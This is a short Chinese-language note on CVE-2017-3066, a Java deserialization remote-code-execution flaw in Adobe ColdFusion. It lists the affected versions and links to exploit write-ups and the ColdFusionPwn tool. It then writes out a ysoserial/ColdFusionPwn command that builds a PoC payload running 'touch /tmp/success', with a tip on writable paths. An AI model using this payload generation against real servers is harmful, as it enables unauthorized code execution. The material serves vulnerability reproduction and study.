Adobe ColdFusion 反序列化漏洞（CVE-2017-3066）

产品样子

 

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响：Adobe ColdFusion (2016 release) Update 3及之前的版本，ColdFusion 11 Update 11及之前的版本，ColdFusion 10 Update 22及之前的版本。

参考链接：

• https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html

• Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution - Windows remote Exploit

• GitHub - codewhitesec/ColdFusionPwn: Exploitation Tool for CVE-2017-3066 targeting Adobe Coldfusion 11/12通过工具生成poc

• java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

  生成poc

   这里注意：这个命令的文件路径必须是 /tmp/xxx 因为写文件的话只有这个目录有写的权限，其他命令另说。

•